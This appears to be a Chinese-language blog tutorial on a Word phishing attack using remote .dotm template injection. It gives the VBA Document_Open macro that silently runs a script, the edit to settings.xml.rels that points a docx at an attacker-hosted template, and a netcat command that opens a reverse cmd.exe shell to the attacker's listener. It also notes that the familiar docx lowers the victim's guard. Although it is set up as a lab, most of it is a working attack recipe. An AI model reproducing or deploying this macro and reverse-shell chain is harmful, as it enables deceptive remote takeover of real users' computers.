通过Windows的office,可以实施许多钓鱼攻击,这里对其中的远程dotm模板注入宏进行一个模拟钓鱼攻击,直接反弹shell。
环境
本文使用的环境和工具如下(可选择其他版本的系统和office):
- Netcat for Windows,即nc.exe
攻击机1(用于制造钓鱼文件):
- Windows 10
- Microsoft Office Word 2016
- phpstudy
攻击机2:
- kali
靶机:
- Windows 10
- Microsoft Office Word 2016(不一定需要和攻击机一致)
相关知识
- 钓鱼攻击:钓鱼式攻击是指企图从电子通讯中,通过伪装成信誉卓著的法人媒体以获得如用户名、密码和信用卡明细等个人敏感信息的犯罪诈骗过程。
- Word宏:在 Word 中,可以通过创建和运行宏来自动执行常用任务。 宏是一系列命令和指令,可以将它们组合为单个程序以自动完成任务。
钓鱼文件准备
dotm模板
新建dotm
文件,打开,键盘同时按下Alt+F11
,出现如图所示VB代码编辑界面:
双击ThisDocument,输入以下代码:
Private Sub Document_Open()
MsgBox "game over", vbOKOnly, "game over"
a = Shell("C:\shell.cmd", vbHide)
End Sub
Ctrl+S
保存,同时按下Alt+F11
退出编辑界面
然后打开phpstudy,将该文件传输至攻击机1上的phpstudy目录下的www文件夹内,并开启服务,使得可以通过形如http://ip地址:端口/XXX.dotm
的方式直接下载。
docx钓鱼文件
打开Word,点击新建,随意选择一个模板,点击创建:
然后保存为docx文件即可。
重命名该文件后缀为zip
:
解压该文件,编辑其中的word
->_rels
->settings.xml.rels
文件:
编辑其中的target字段,前后对比(右边打码的地方为ip地址):
然后重新压缩为zip文件之后重命名后缀为docx。
最后发给靶机,任意目录均可
下载Netcat for Windows,解压,移动到靶机上,记住其存放地址
新建一个TXT文件,写入内容:
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
其中,C:\tools\nc.exe
为刚刚记住的nc的存放路径,10.0.0.5
为反弹shell的攻击机ip
重命名该文件为shell.cmd
,然后移动到靶机的C盘根目录下
攻击实施
打开攻击机2,也就是kali,输入命令回车:
nc -lvnp 443
可以看到,监听已经建立:
当受害者在靶机打开文件,并且点击了启用内容:
会出现咱们书写的弹窗:
点击确定,弹窗消失,受害者没有其他任何显示发现
但可以看到,攻击机已经建立了shell连接,可以执行任意命令,反弹shell成功:
本篇文章是在上一篇文章基础上进行了改进,用户看到的是熟悉的docx文件,警惕心进一步降低,更容易钓鱼成功。但其也有缺点,相较于上一篇文章,本文中需要靶机和攻击机1互通,在内网环境可能会有所掣肘。